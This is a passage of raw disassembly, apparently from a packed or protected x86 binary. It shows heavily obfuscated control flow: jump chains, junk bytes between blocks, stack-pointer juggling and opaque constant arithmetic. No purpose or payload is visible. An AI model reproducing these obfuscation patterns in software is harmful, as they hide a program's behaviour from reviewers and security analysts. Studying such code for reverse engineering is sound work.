loc_5A3C4D:				; CODE XREF: sdfs____:005A255Fj
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		db 81h
		dd 0F4A4BFF1h, 8238E98Ah, 0D8F70000h, 0EE41C90Dh, 6B47E90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3C86:				; CODE XREF: sdfs____:005A78E1j
		and	edi, 0BFB0A92h
		xor	edi, 5BAA540Ah
		dec	edi
		jmp	loc_59E5F7
; ---------------------------------------------------------------------------


loc_5A3C98:				; CODE XREF: sdfs____:005A275Fj
		push	56F2h
		jmp	loc_59C19E
; ---------------------------------------------------------------------------


loc_5A3CA2:				; CODE XREF: sdfs____:005A9C9Bj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A8CB3
; ---------------------------------------------------------------------------


loc_5A3CB3:				; CODE XREF: sdfs____:005A6D63j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dw 0F280h
a9sfk		db '9éäk',0
		align 2
		dw 2C89h
		dd 51E58924h, 4B9h, 59CD0100h, 63F8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A3CED:				; CODE XREF: sdfs____:005A0A1Aj
		neg	esi
		shr	esi, 8
		neg	esi
		jmp	loc_59BB62
; ---------------------------------------------------------------------------


loc_5A3CF9:				; CODE XREF: sdfs____:005A2F36j
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	$+5
		push	72C0h
		jmp	loc_5A147D
; ---------------------------------------------------------------------------


loc_5A3D11:				; CODE XREF: sdfs____:0059F469j
		mov	ecx, 2
		sub	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_5ABA38
; ---------------------------------------------------------------------------


loc_5A3D28:				; CODE XREF: sdfs____:005A9F08j
		pop	edi
		add	edi, 4
		push	2D40h
		mov	[esp], ecx
		jmp	loc_5A92D8
; ---------------------------------------------------------------------------


loc_5A3D3C:				; CODE XREF: sdfs____:005A94E7j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59EF13
; ---------------------------------------------------------------------------


loc_5A3D4A:				; CODE XREF: sdfs____:loc_5ACC65j
		dec	eax
		not	eax
		jmp	loc_59E8FD
; ---------------------------------------------------------------------------
word_5A3D52	dw 8B66h		; DATA XREF: sdfs____:0059909Co
		dd 0DE92404h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3D5B:				; CODE XREF: sdfs____:005ADDC3j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4DF9684Eh
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, edx
		mov	edx, [esp]
		jmp	loc_5A3DDA
; ---------------------------------------------------------------------------


loc_5A3D78:				; CODE XREF: sdfs____:005AF364j
		pop	esp
		sub	esp, 4
		jmp	loc_5AF629
; ---------------------------------------------------------------------------
		db 66h,	5Ah, 2Ch
		dd 2604E5h, 83262CF8h, 1C8904ECh, 0E988B724h, 0FFFFD807h
		dd 9C240430h, 0FF536EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3DA1:				; CODE XREF: sdfs____:005A36C4j
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_59A1A3
; ---------------------------------------------------------------------------


loc_5A3DC1:				; CODE XREF: sdfs____:005A7725j
		pop	esp
		mov	[esp], ebp
		push	1EEBh
		mov	[esp], eax
		jmp	loc_59C745
; ---------------------------------------------------------------------------


loc_5A3DD2:				; CODE XREF: sdfs____:005ABA5Cj
		mov	esp, [esp]
		jmp	loc_5A35A9
; ---------------------------------------------------------------------------


loc_5A3DDA:				; CODE XREF: sdfs____:005A3D73j
		add	esp, 4
		jmp	loc_5A447F
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 1Ch
		dd 147CBB24h, 0EBD15443h, 8143D3F7h, 0BA4AAEF3h, 1EB815Eh
		dd 56000000h, 0D389E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3E06:				; CODE XREF: sdfs____:005A07E6j
					; sdfs____:005A8055j
		add	esi, ebx
		pop	ebx
		jmp	loc_5AFF49
; ---------------------------------------------------------------------------


loc_5A3E0E:				; CODE XREF: sdfs____:00599D65j
		mov	eax, 0E4D26DBh
		add	esi, eax
		pop	eax
		jmp	loc_5A920F
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 0C8B0424h,	0E1895124h, 4C181h, 0EC810000h
		dd 4, 0B8240489h, 43997E28h, 997E242Dh,	0E9C10143h, 7423h
		dd 8B66F004h, 0C483241Ch, 0A10402h, 4EC83D8h, 50240C89h
		dd 0E952DDB4h, 0FFFFF3E0h
; ---------------------------------------------------------------------------


loc_5A3E64:				; CODE XREF: sdfs____:005A217Ej
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		jmp	loc_5AE4B5
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C9h
		dd 40AA0E79h, 273DC981h, 0E9812298h, 76BA3F79h,	489CC581h
		dd 0CD0171EFh, 489CED81h, 0C8B71EFh, 4C48124h, 68000000h
		dd 1266h, 657FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A3EB5:				; CODE XREF: sdfs____:005A2B36j
		mov	[esp], edi
		push	0D7C2524h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5AAE1F
; ---------------------------------------------------------------------------


loc_5A3EC6:				; CODE XREF: sdfs____:0059CE8Ej
		mov	esp, [esp]
		mov	cx, [esp]
		push	79F5h
		mov	[esp], edx
		jmp	loc_5AAB66
; ---------------------------------------------------------------------------


loc_5A3EDA:				; CODE XREF: sdfs____:005A5EB8j
		and	edx, 215A5A8Eh
		xor	edx, 70D348A2h
		sub	edx, 689C4E76h
		push	ebp
		push	67830DFDh
		pop	ebp
		and	ebp, 6FE707C5h
		jo	loc_5A373C
		add	ebp, 0E174FFFh
		jbe	loc_5AFF49
		jmp	loc_5AF9B3
; ---------------------------------------------------------------------------


loc_5A3F10:				; CODE XREF: sdfs____:005AB54Bj
		sub	esi, 9BD4ECFh
		jmp	loc_5A937C
; ---------------------------------------------------------------------------
		db 81h
		dd 2E0649EBh, 0BA97E977h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3F26:				; CODE XREF: sdfs____:005A716Aj
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		sub	bl, 0BEh
		push	ax
		mov	al, 51h
		add	bl, al
		mov	ax, [esp]
		jmp	loc_5B035B
; ---------------------------------------------------------------------------
		db 58h,	66h, 68h
		dd 89663B98h, 0E2E92404h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3F4F:				; CODE XREF: sdfs____:005AAB70j
		pop	dx
		sub	ch, 73h
		push	6248h
		mov	[esp], ebx
		mov	bh, 0D7h
		jmp	loc_5A8344
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EC8300h, 0FFFD69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3F71:				; CODE XREF: sdfs____:0059B082j
		sub	esi, 0FFFFFFFFh
		and	esi, 1DBE1D55h
		neg	esi
		xor	esi, 4D2C310Dh
		jmp	loc_5A4241
; ---------------------------------------------------------------------------


loc_5A3F87:				; CODE XREF: sdfs____:005A36B8j
		pop	edi
		push	ebx
		mov	ebx, 68F22EF1h
		add	ebp, ebx
		pop	ebx
		add	ebp, edx
		sub	ebp, 68F22EF1h
		pop	edx
		not	ebp
		dec	ebp
		jns	loc_5A8ACE
		jmp	loc_5A91DD
; ---------------------------------------------------------------------------


loc_5A3FA8:				; CODE XREF: sdfs____:0059C8FCj
		xchg	edx, [esp]
		jmp	loc_59F1A0
; ---------------------------------------------------------------------------


loc_5A3FB0:				; CODE XREF: sdfs____:005A6B61j
		sub	ebx, 2B2606BDh
		sub	ebx, ecx
		add	ebx, 2B2606BDh
		pop	ecx
		add	ebx, 2B111881h
		sub	ebx, eax
		sub	ebx, 2B111881h
		add	ebx, 1BBE1CCFh
		add	ebx, 4177C40h
		pop	eax
		push	7909h
		mov	[esp], edx
		mov	edx, 337D2E88h
		not	edx
		jmp	loc_59A057
; ---------------------------------------------------------------------------


loc_5A3FEE:				; CODE XREF: sdfs____:0059E9B6j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_5A5CAD
; ---------------------------------------------------------------------------


loc_5A3FFE:				; CODE XREF: sdfs____:005A2D54j
		add	bh, 0D7h
		jo	loc_5ACB83
		jmp	loc_5A0DBA
; ---------------------------------------------------------------------------
		dd 0FF5DEB01h, 34FF2434h, 0C4835A24h, 0E9545604h, 7FCh
; ---------------------------------------------------------------------------


loc_5A4020:				; CODE XREF: sdfs____:005A0B83j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A402E:				; CODE XREF: sdfs____:005AF093j
		push	eax
		jmp	loc_5AF5F0
; ---------------------------------------------------------------------------


loc_5A4034:				; CODE XREF: sdfs____:0059EA2Bj
		pop	dword ptr [esp]
		jmp	loc_5A6384
; ---------------------------------------------------------------------------


loc_5A403C:				; CODE XREF: sdfs____:005A64EDj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		db 81h,	44h, 24h
		dd 44198104h, 23E95F6Ch
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A405F:				; CODE XREF: sdfs____:005A2150j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 76891ACAh
		or	ecx, edi
		mov	edi, [esp]
		push	edx
		jmp	loc_5AF051
; ---------------------------------------------------------------------------


loc_5A4075:				; CODE XREF: sdfs____:0059CB40j
		sub	ebp, edi
		pop	edi
		jmp	loc_5AB9CB
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 81h
		dd 0C83678F2h, 0FEF2813Ch, 0E92C5621h, 0FFFFB0B0h
; ---------------------------------------------------------------------------


loc_5A4090:				; CODE XREF: sdfs____:0059AAFAj
		pop	esp
		jmp	loc_5ADA42
; ---------------------------------------------------------------------------


loc_5A4096:				; CODE XREF: sdfs____:005B0442j
		mov	[esp], ebx
		pop	edx
		push	edx
		push	edi
		mov	edi, 48E53233h
		add	[esp+4], edi
		pop	edi
		pop	eax
		jmp	loc_5AFC57
; ---------------------------------------------------------------------------


loc_5A40AC:				; CODE XREF: sdfs____:0059CA8Aj
		sub	esi, 4FF45313h
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5996E4
; ---------------------------------------------------------------------------
aVszo		db '\Vé‡O',0
		align 2


loc_5A40C2:				; CODE XREF: sdfs____:005A473Bj
		shr	ebp, 8
		push	ecx
		jmp	loc_5A2C8A
; ---------------------------------------------------------------------------


loc_5A40CB:				; CODE XREF: sdfs____:005A3956j
		add	esp, 4
		push	edi
		mov	edi, 1
		sub	ebx, edi
		pop	edi
		add	ebx, 0B66ECCD8h
		add	eax, 2FB51462h
		add	eax, ebx
		sub	eax, 2FB51462h
		pop	ebx
		and	eax, 76320A19h
		not	eax
		push	ebp
		mov	ebp, 292A12DAh
		or	eax, ebp
		pop	ebp
		push	esi
		push	67D70488h
		pop	esi
		and	eax, esi
		pop	esi
		jmp	loc_59D51F
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0F6296D68h, 0F485828h, 5C618Eh, 20B63500h, 8F0F4B78h
		dd 4754h, 0F02E8C1h, 0B4E08Bh, 2E8F0F00h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4133:				; CODE XREF: sdfs____:005AB94Bj
		mov	edx, ebp
		pop	ebp
		sub	edx, ebp
		push	dword ptr [esp]
		jmp	loc_5A7DBE
; ---------------------------------------------------------------------------
		dd 0B1DCE981h, 0C8012A1Bh, 0C1815959h, 71AA6FBDh, 0E981C101h
		dd 71AA6FBDh, 0FFEDDEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A415D:				; CODE XREF: sdfs____:005AC4E2j
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_59C446
; ---------------------------------------------------------------------------
		dw 0A0E9h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A416F:				; CODE XREF: sdfs____:005AA97Fj
		push	ebp
		jmp	loc_59E2F9
; ---------------------------------------------------------------------------


loc_5A4175:				; CODE XREF: sdfs____:005A28C9j
					; sdfs____:005A5963j
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		jmp	loc_59F943
; ---------------------------------------------------------------------------


loc_5A418D:				; CODE XREF: sdfs____:00599112j
		push	cx
		push	6A72h
		mov	[esp], edx
		push	eax
		mov	ah, 5
		mov	dh, ah
		mov	eax, [esp]
		jmp	loc_59A01F
; ---------------------------------------------------------------------------


loc_5A41A4:				; CODE XREF: sdfs____:005994BEj
		add	esp, 4
		pop	eax
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_5AD698
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		push	40ACh
		jmp	loc_5A6B27
; ---------------------------------------------------------------------------


loc_5A41EA:				; CODE XREF: sdfs____:005A14E0j
		pop	eax
		sub	edi, 0D770973h
		add	edi, esi
		add	edi, 0D770973h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59B5D7
; ---------------------------------------------------------------------------


loc_5A4207:				; CODE XREF: sdfs____:005ABAA3j
		add	edi, 633E61DEh
		push	esi
		push	ebx
		push	2C257386h
		pop	ebx
		sub	ebx, 0E8936467h
		mov	esi, ebx
		pop	ebx
		add	esi, 214D1A6Dh
		jmp	loc_5A8085
; ---------------------------------------------------------------------------


loc_5A4229:				; CODE XREF: sdfs____:005A6272j
		push	edx
		push	2D332446h
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5AC250
; ---------------------------------------------------------------------------


loc_5A4241:				; CODE XREF: sdfs____:005A3F82j
		xor	esi, 0A099B09Fh
		sub	eax, esi
		pop	esi
		pop	esi
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		jmp	loc_5AC85F
; ---------------------------------------------------------------------------
		db 52h
		dd 0F3882CB6h, 0D4AEE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A426A:				; CODE XREF: sdfs____:005AA4D3j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		add	ecx, 1C40856h
		add	ecx, 45AB768Bh
		jnb	loc_59E31B
		push	390Ch
		jmp	loc_5995A1
; ---------------------------------------------------------------------------
		db 89h
		dd 8EE92414h, 5FFFFD6h,	4, 5F1968h, 24048900h, 42474FFh
		dd 24048F58h, 0C9C3815Ch, 1201A02h, 0D0BBE9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A42BA:				; CODE XREF: sdfs____:005AD805j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	esp, 4
		add	edi, 4
		push	esi
		mov	esi, 2
		push	ebx
		jmp	loc_5A6235
; ---------------------------------------------------------------------------


loc_5A42DB:				; CODE XREF: sdfs____:0059D96Aj
					; sdfs____:005A0BD3j
		push	4FC0h
		mov	[esp], ecx
		jmp	loc_59F93C
; ---------------------------------------------------------------------------


loc_5A42E8:				; CODE XREF: sdfs____:0059BB4Dj
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_5B02E3
; ---------------------------------------------------------------------------


loc_5A42F4:				; CODE XREF: sdfs____:0059EE1Fj
		mov	ch, al
		pop	eax
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5AF155
; ---------------------------------------------------------------------------


loc_5A4302:				; CODE XREF: sdfs____:005AFADEj
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5A5C2C
; ---------------------------------------------------------------------------


loc_5A4311:				; CODE XREF: sdfs____:005AD71Ej
		mov	ebx, edx
		jmp	loc_5A26F4
; ---------------------------------------------------------------------------
		dd 8B241487h, 4332424h,	24043124h, 0E9240433h, 206Bh
; ---------------------------------------------------------------------------


loc_5A432C:				; CODE XREF: sdfs____:loc_5A21DCj
		not	edi
		or	edi, 3FA070FDh
		sub	edi, 347DB662h
		jmp	loc_5AC9F5
; ---------------------------------------------------------------------------


loc_5A433F:				; CODE XREF: sdfs____:0059B67Ej
		xor	edx, ecx
		pop	ecx
		add	edi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A70B9
; ---------------------------------------------------------------------------


loc_5A437A:				; CODE XREF: sdfs____:005ABC09j
		push	edi
		mov	edi, 328774D6h
		jmp	loc_59B11A
; ---------------------------------------------------------------------------


loc_5A4385:				; CODE XREF: sdfs____:005A64C4j
		sub	edx, esi
		pop	esi
		add	edx, esi
		push	esi
		mov	esi, 135D2CA3h
		shl	esi, 8
		dec	esi
		neg	esi
		add	esi, 0A42FF149h
		add	edx, esi
		pop	esi
		add	edx, 8A33BFBh
		mov	esi, [esp]
		jmp	loc_5A0CD9
; ---------------------------------------------------------------------------


loc_5A43AD:				; CODE XREF: sdfs____:0059B4ACj
		mov	edi, 4
		push	ecx
		mov	ecx, 6E195CD5h
		add	eax, 216E039Bh
		sub	eax, ecx
		push	esi
		mov	esi, 216E039Bh
		sub	eax, esi
		pop	esi
		pop	ecx
		add	eax, edi
		push	esi
		mov	esi, 6E195CD5h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 37A6F22h
		add	eax, edx
		pop	edx
		add	eax, 0ACC7D47h
		add	eax, esi
		sub	eax, 0ACC7D47h
		push	78C2h
		jmp	loc_5AAA38
; ---------------------------------------------------------------------------


loc_5A43F8:				; CODE XREF: sdfs____:005AED68j
		push	edx
		jmp	loc_5AE38A
; ---------------------------------------------------------------------------


loc_5A43FE:				; CODE XREF: sdfs____:005ACA0Ej
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		jmp	loc_59A5EF
; ---------------------------------------------------------------------------


loc_5A440D:				; CODE XREF: sdfs____:005AFEEEj
		push	edx
		mov	edx, esp
		jmp	loc_59ECF9
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 3
		dd 0CF7EEB81h, 0DD31BAB4h, 68DDF75Bh, 2269h, 0BB241C89h
		dd 0D1B35BF3h, 52BFC581h, 0DD01425Bh, 52BFB850h, 0C529425Bh
		dd 19055B58h, 152D508h,	8192DE8h, 535D52D5h, 0C3815B54h
		dd 4, 16FE68h, 0BAEDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4462:				; CODE XREF: sdfs____:005A62BFj
		neg	ebp
		jnz	loc_59B96B
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4E7D1929h
		pop	ebx


loc_5A4474:				; CODE XREF: sdfs____:005A695Dj
		add	ebx, 4
		jmp	loc_5AE763
; ---------------------------------------------------------------------------


loc_5A447F:				; CODE XREF: sdfs____:005A3DE0j
		push	0FABh
		mov	[esp], eax
		mov	eax, ebx
		sub	esp, 4
		mov	[esp], eax
		pop	edx
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59F46E
; ---------------------------------------------------------------------------


loc_5A44A2:				; CODE XREF: sdfs____:005A5A09j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AD52D
; ---------------------------------------------------------------------------


loc_5A44B0:				; CODE XREF: sdfs____:005AE0FEj
		pop	esi
		jmp	loc_59F634
; ---------------------------------------------------------------------------


loc_5A44B6:				; CODE XREF: sdfs____:0059FE37j
					; sdfs____:005A11CDj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5AE1E4
; ---------------------------------------------------------------------------


loc_5A44C1:				; CODE XREF: sdfs____:005AD1E1j
		add	al, 26h
		push	bx
		mov	bh, 9Bh
		jmp	loc_59FE61
; ---------------------------------------------------------------------------
		dd 77E9CB01h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A44D3:				; CODE XREF: sdfs____:0059FF81j
		xor	[esp], ebp
		jmp	loc_59B939
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4C681h, 0EC830000h, 241C8904h, 0FFB24DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A44ED:				; CODE XREF: sdfs____:005A8231j
					; sdfs____:005A86F8j
		shr	edi, 8
		push	edi
		push	eax
		pop	edi
		pop	eax
		not	eax
		xchg	eax, edi
		neg	edi
		jmp	loc_5A0AC8
; ---------------------------------------------------------------------------
aSJ		db '²¹éÅj',0
		db 0
; ---------------------------------------------------------------------------


loc_5A4505:				; CODE XREF: sdfs____:005A1293j
		sub	ebx, 115A4D7Fh
		sub	ebx, 729512C3h
		add	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 61FE1F51h
		shr	ecx, 4
		sub	ecx, 0FEC2893Dh
		add	eax, ecx
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, eax
		jmp	loc_59E63A
; ---------------------------------------------------------------------------


loc_5A4533:				; CODE XREF: sdfs____:005A45BBj
					; sdfs____:005AC28Cj
		sub	[esp+8], edi
		pop	edi
		sub	dword ptr [esp+4], 2CEC107Ch
		jmp	loc_5AB19F
; ---------------------------------------------------------------------------
		db 0C0h, 0E7h, 4
		dd 0FFEC50E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A454D:				; CODE XREF: sdfs____:005ABB0Bj
		pop	ecx
		push	edx
		mov	edx, 381557AFh
		add	[esp+8], edx
		pop	edx
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 381557AFh
		pop	esi
		jmp	loc_5A67C2
; ---------------------------------------------------------------------------
		db 89h
		dd 8B542404h, 0C4832404h, 40504h, 71E90000h, 5DFFFFF4h
		dd 0EF81EF01h, 46153BA1h, 8B2434FFh, 8957242Ch,	87E952E7h
		dd 8B000096h, 8FE9240Ch
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A459F:				; CODE XREF: sdfs____:005A80AEj
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AF19A
; ---------------------------------------------------------------------------


loc_5A45AB:				; CODE XREF: sdfs____:loc_59DAA0j
		jmp	loc_5A3BB4
; ---------------------------------------------------------------------------


loc_5A45B0:				; CODE XREF: sdfs____:005A31CAj
		shl	ebx, 7
		jnp	loc_5A2059
		not	ebx
		jmp	loc_5A4533
; ---------------------------------------------------------------------------
		dd 2782E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A45C5:				; CODE XREF: sdfs____:005AAD98j
					; sdfs____:005AB4A7j
		mul	ecx
		jmp	loc_59B4A0
; ---------------------------------------------------------------------------


loc_5A45CC:				; CODE XREF: sdfs____:0059FF40j
		shr	edx, 3
		inc	edx
		jmp	loc_59AED0
; ---------------------------------------------------------------------------
		db 0Fh,	8Fh, 5Bh
		dd 81FFFF94h, 8112A1CBh, 9938E923h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A45E6:				; CODE XREF: sdfs____:005A58ECj
		pop	eax
		push	eax
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	eax
		inc	eax
		jg	loc_59AF5F
		sub	eax, 1EB6104Bh
		jo	loc_59968F
		xor	eax, 5092D7E4h
		mov	ebp, eax
		pop	eax
		jmp	loc_59D995
; ---------------------------------------------------------------------------


loc_5A4610:				; CODE XREF: sdfs____:005A6FB2j
		add	ecx, 4
		push	3810h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_59BFED
; ---------------------------------------------------------------------------


loc_5A4624:				; CODE XREF: sdfs____:loc_5A8675j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 520759B9h
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	[edx+30h], ebx
		mov	ebx, [esp]
		add	esp, 4
		popa
		jmp	loc_5AFC78
; ---------------------------------------------------------------------------
		dd 7FE9DBF7h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4653:				; CODE XREF: sdfs____:005A0BB4j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	edx
		jmp	loc_5A6494
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 64B2836h, 0FF8FA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A466D:				; CODE XREF: sdfs____:005AFF89j
		inc	edi
		sub	edi, 4138EB11h
		add	ebx, edi
		pop	edi
		add	ebx, edi
		jmp	loc_5A1E80
; ---------------------------------------------------------------------------


loc_5A467E:				; CODE XREF: sdfs____:005A1429j
		mov	ax, 0FFFFh
		sub	bp, ax
		pop	ax
		push	eax
		mov	ax, 2699h
		jmp	loc_5A8A99
; ---------------------------------------------------------------------------


loc_5A4691:				; CODE XREF: sdfs____:005A02DFj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A94D9
; ---------------------------------------------------------------------------
		dd 0EC83F101h, 35EFE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A46B2:				; CODE XREF: sdfs____:0059B141j
		mov	esp, [esp]
		imul	cx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		jmp	loc_5ABC0E
; ---------------------------------------------------------------------------
		db 50h
		dd 0BC5D5BB8h, 0E9D0F77Ah, 6D93h, 52242C8Bh, 0C281E289h
		dd 4, 4C281h, 2DE90000h, 81FFFFFCh, 2C4h, 51532C00h, 0FFD331E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A46F9:				; CODE XREF: sdfs____:005A5E9Dj
		push	edx
		mov	edx, 4
		jmp	loc_5A3B68
; ---------------------------------------------------------------------------


loc_5A4704:				; CODE XREF: sdfs____:005AC6ABj
		sub	ecx, 74331501h
		push	ebx
		mov	ebx, 3FE45677h
		or	ebx, 285475CEh
		jmp	loc_5AE60B
; ---------------------------------------------------------------------------


loc_5A471B:				; CODE XREF: sdfs____:005A881Aj
		inc	edi
		add	edi, 35CE4DA6h
		add	edi, 5632AE18h
		sub	ebx, 5EB14EA1h
		add	ebx, edi
		jmp	loc_5A9A35
; ---------------------------------------------------------------------------


loc_5A4735:				; CODE XREF: sdfs____:005ABEFCj
		and	ebp, 68334BC9h
		jmp	loc_5A40C2
; ---------------------------------------------------------------------------
		dd 31BD5556h, 890C9D51h, 8F8CE9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A474E:				; CODE XREF: sdfs____:005A80D1j
		or	ebx, ecx
		pop	ecx
		neg	ebx
		jmp	loc_5991EB
; ---------------------------------------------------------------------------
		dd 86314568h, 240C8B08h, 0FFAE35E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4765:				; CODE XREF: sdfs____:005A206Dj
		pop	ebp
		jmp	loc_5ACC21
; ---------------------------------------------------------------------------


loc_5A476B:				; CODE XREF: sdfs____:005AC253j
		xchg	ebp, [esp]
		pop	esp
		inc	edx
		jmp	loc_5A6441
; ---------------------------------------------------------------------------
		align 2
		dw 0E9D1h
		dd 0FFFF8A9Ah
; ---------------------------------------------------------------------------


loc_5A477C:				; CODE XREF: sdfs____:005AAC12j
		push	ebx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_59C918
; ---------------------------------------------------------------------------


loc_5A478F:				; CODE XREF: sdfs____:005A94B1j
		xor	edi, 394DFA12h
		mov	edx, edi
		pop	edi
		mov	eax, edx
		pop	edx
		inc	eax
		shl	eax, 5
		add	eax, 582E62ECh
		xor	eax, 1A5416E8h
		sub	ebp, 0A73642Bh
		add	ebp, eax
		add	ebp, 0A73642Bh
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	ebx, 73E32550h
		jmp	loc_59BA9D
; ---------------------------------------------------------------------------


loc_5A47CF:				; CODE XREF: sdfs____:005A5257j
		add	esp, 4
		xor	ecx, 520223FFh
		jmp	loc_5A1298
; ---------------------------------------------------------------------------


loc_5A47E0:				; CODE XREF: sdfs____:005A54A8j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	0AC5h
